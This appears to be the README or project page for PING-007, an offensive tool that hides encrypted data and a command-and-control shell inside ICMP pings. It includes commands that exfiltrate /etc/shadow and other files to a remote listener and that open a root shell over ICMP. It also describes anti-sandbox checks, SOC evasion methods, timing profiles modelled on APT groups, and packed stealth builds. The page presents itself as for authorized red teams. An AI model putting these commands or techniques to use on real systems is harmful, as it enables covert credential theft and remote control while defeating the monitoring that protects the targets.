Covert Communications Framework
007
PING-007 v3.0 · Stealth ICMP C2 & Exfiltration

Embed AES-256-GCM encrypted data inside packets indistinguishable from real OS pings. Multi-packet stealth reassembly, bidirectional C2 shell, APT timing profiles, OS signature mimicry — built for authorized red team operations.

3
Crypto Algorithms
64B
Stealth Packet Size
4
APT Profiles
CAP_NET_RAW
Requirement
Capabilities

What it does

ICMP as a covert channel with military-grade crypto and SOC-grade evasion.

🔐

AES-256-GCM Encryption

Three AEAD algorithms (AES-256-GCM, ChaCha20-Poly1305, XOR-CFB-HMAC) with PBKDF2-SHA256 key derivation. Fixed per-algorithm salts enable deterministic key generation from a shared password — no key exchange needed.

📡

OS Signature Mimicry

Replicates byte patterns of real Linux ping (56-byte sequential) or Windows ping (32-byte alphabetic). Encrypted data is XOR-embedded into the authentic pattern. From the network, it looks like a standard ping.

🖥️

Bidirectional C2 Shell

Interactive shell over ICMP. Operator sends CMD:<id>:<command> packets; agent executes and replies RESP:<id>:<rc>:<stdout>. Entire exchange is encrypted.

📤

File Exfiltration & Reassembly

Chunks any file into encrypted ICMP packets with ±25% size jitter per chunk. When stealth mode is active, each chunk is split across multiple 64-byte pings (indistinguishable from ping -s 56) with a 4-byte hidden fragment header. The listener reassembles all fragments before decryption.

🕐

APT Timing Profiles

Lazarus (5 min–1 hr), APT29 (30 min–2 hr), APT28 (10–30 min), Equation Group (1–3 days). Per-chunk adaptive delay blends long-running exfiltration into legitimate background traffic.

🛡️

Anti-Sandbox Detection

Checks system uptime, process count, and available resources on startup. Aborts before sending a single packet if sandbox indicators are detected. Thresholds configurable via config/ping-007.yml.

Getting started

Quick Start

Requires Go 1.25+ and root / CAP_NET_RAW. All commands need raw ICMP socket access.

Build

terminal
$ git clone https://github.com/franckferman/ping-007
$ cd ping-007
$ make build
Build complete: build/ping-007

Send an encrypted message

terminal
# Receiver (start first)
$ sudo ./build/ping-007 listen -o ./loot -p "secret" --timeout 60

# Sender
$ sudo ./build/ping-007 basic -t 192.168.1.100 -d "data" -p "secret"
Packet 1/1 sent (60 bytes)

Without -p — what NOT to do

$ sudo ./build/ping-007 basic -t 192.168.1.100 -d "data" # no -p
Warning: No password - using random keys (non-interoperable)
# Receiver gets encrypted bytes it cannot decrypt → useless
Reference

Commands

basic — send a message

# Encrypted
$ sudo ./build/ping-007 basic -t 192.168.1.100 -p "key" -d "payload"

# Windows signature + human timing (blend in)
$ sudo ./build/ping-007 basic -t 192.168.1.100 -p "key" -d "data" --signature windows --human-timing

# Maximum evasion
$ sudo ./build/ping-007 basic -t 192.168.1.100 -p "key" -d "data" --ultra-stealth

exfil — file exfiltration

# Fast (no APT delays)
$ sudo ./build/ping-007 exfil -t 192.168.1.100 -f /etc/shadow -p "key" --mode fast

# Stealth (APT timing per chunk, default)
$ sudo ./build/ping-007 exfil -t 192.168.1.100 -f dump.zip -p "key" --chunk-size 128

# Plaintext (no encryption)
$ sudo ./build/ping-007 exfil -t 192.168.1.100 -f data.txt --no-encrypt

shell — bidirectional C2

# 1 — Start agent on target
$ sudo ./build/ping-007 listen --method shell -o /tmp/c2 -p "c2pass" --timeout 3600

# 2 — Operator shell (another machine)
$ sudo ./build/ping-007 shell -t <TARGET_IP> -p "c2pass"
ping-007> id
uid=0(root) gid=0(root) groupes=0(root)
ping-007> whoami
root
ping-007> exit

listen — receive & decrypt

$ sudo ./build/ping-007 listen -o ./loot -p "key" --timeout 300
Listening for incoming data...
Received packet from 10.0.0.5 (60 bytes)
Successfully decrypted data (20 bytes)
Saved to: ./loot/received_10.0.0.5_1234567890.bin

apt — APT simulation

$ sudo ./build/ping-007 apt -t 192.168.1.100 -r lazarus --duration 3600 -p "key"

# Profiles: lazarus | apt29 | apt28 | equation

Flag reference

CommandFlagDefaultDescription
global-p / --passwordShared password — required for interoperable crypto
global--no-bannerfalseSuppress JSON logs and startup banner
basic-t / --targetrequiredTarget IP address
basic-d / --dataInline data to transmit
basic--signaturelinuxOS ping pattern: linux, windows, none
basic--delay0Pre-send delay: 2s, 500ms
basic--human-timingfalseRandom 1–5s intervals between packets
basic--ultra-stealthfalseAll evasion techniques combined (timing + size + pattern)
basic--decoy-pings0Send N clean OS-pattern pings before data to blend into traffic
basic--after-pings0Send N clean pings after data to close session naturally
basic--ping-interval1sInterval between pings in a sequence (mirrors real ping)
basic--no-encryptfalseSend plaintext — no encryption, no encoding (raw bytes in ICMP)
basic--encodefalseBase64-encode payload only (lower entropy than AES, no confidentiality)
exfil-f / --filerequiredFile to exfiltrate
exfil--modestealthstealth (5–30s gap), fast (no delay), covert (30–120s gap)
exfil--chunk-size512Base chunk size in bytes (±25% jitter applied per chunk)
exfil--no-encryptfalsePlaintext payload (no crypto)
exfil--signaturelinuxOS signature for TTL mimicry: linux (TTL=64), windows (TTL=128), none
shell--modeinteractiveinteractive (C2 over ICMP) or batch (local execution only)
shell--jitter0Max random delay before each command packet (e.g. 3s); breaks metronomic C2 beacon detection
listen-o / --output./receivedOutput directory for received files
listen--methodicmp_tunnelicmp_tunnel or shell (C2 agent mode)
listen--timeout60Timeout in seconds
listen-q / --quietfalseSuppress per-packet output (for real ops — verbose logging is an OPSEC risk)
apt-r / --profilerequiredlazarus | apt29 | apt28 | equation
apt--duration60Simulation duration in seconds
Protocol

Cryptographic Details

Three AEAD algorithms with deterministic PBKDF2 key derivation. Algorithm auto-detected by receiver from 4-byte wire header.

Algorithm suite

AlgorithmKeyAuthSalt (fixed)Status
AES-256-GCM256-bitAEAD ping007-aes-salt-v1 Active
ChaCha20-Poly1305256-bitAEAD ping007-chacha20-salt-v1 Active
XOR-CFB + HMAC-SHA256256-bitHMAC ping007-xor-salt-v1 Active
ECDH P-256 key exchange TODO

Wire format

4 bytes
Header
algo id + version
12 bytes
Nonce
random per packet
N bytes
Ciphertext
encrypted payload
16 bytes
Auth Tag
GCM / Poly1305

Key derivation

# For each algorithm independently:
key = PBKDF2(SHA-256, password, salt_per_algo, iterations=100_000, keylen=32)

# Same password → same key on both sides → no key exchange needed
# Fixed salt = less secure than random, but enables passwordless setup

The salt is fixed and baked into the binary. Security relies entirely on password strength — a weak password is weak regardless of 100k PBKDF2 iterations. Use at least 20 random characters. Rotate between operations.

Evasion

SOC Evasion

Implemented techniques only. Nothing here is theoretical.

OS payload mimicry

Linux: 56-byte, 0x08,0x09,…
Windows: 32-byte, abcdefgh…
Data XOR'd into real pattern
Always 64 bytes on the wire

Multi-packet reassembly

Large payloads → N×64-byte pings
4-byte frag header hidden in XOR zone
[0xA7][session][frag_id][total]
Receiver reassembles before decrypt

TTL + identifier spoofing

TTL: 64 (Linux) / 128 (Windows)
ICMP ID: crypto/rand per session
Seq: crypto/rand start
Breaks OS fingerprinting

Human timing

--human-timing
Random 1–5s between packets
1s ±10% jitter within frags
5–120s inter-chunk gaps

Session blending

--decoy-pings / --after-pings
Clean OS pings wrap the data
Makes isolated ICMP events disappear
Shell: --jitter breaks beacon timing

Per-session crypto rotation

Algorithm random at session start
AES / ChaCha20 / XOR-CFB-HMAC
First ciphertext byte varies
Breaks cross-session PCAP correlation

APT Timing Profiles

lazarus
Lazarus Group · DPRK
5 min – 1 hr
per chunk
apt29
Cozy Bear · Russia
30 min – 2 hr
per chunk
apt28
Fancy Bear · Russia
10 – 30 min
per chunk
equation
Equation Group
1 – 3 days
per chunk
Build system

Build Targets

Standard
make build
make build-all
Stealth
make build-stealth
make build-ghost
Packed
make build-compressed
make build-armored
Minimal
make build-minimal
build-no-c2 [TODO]
# Cross-platform: linux/amd64, linux/arm64, darwin/amd64, darwin/arm64, windows/amd64
$ make build-all

# Strip symbols, -trimpath, PIE binary
$ make build-stealth

# Ghost + UPX compression (smallest stealth binary)
$ make build-armored

# No APT simulation module
$ make build-minimal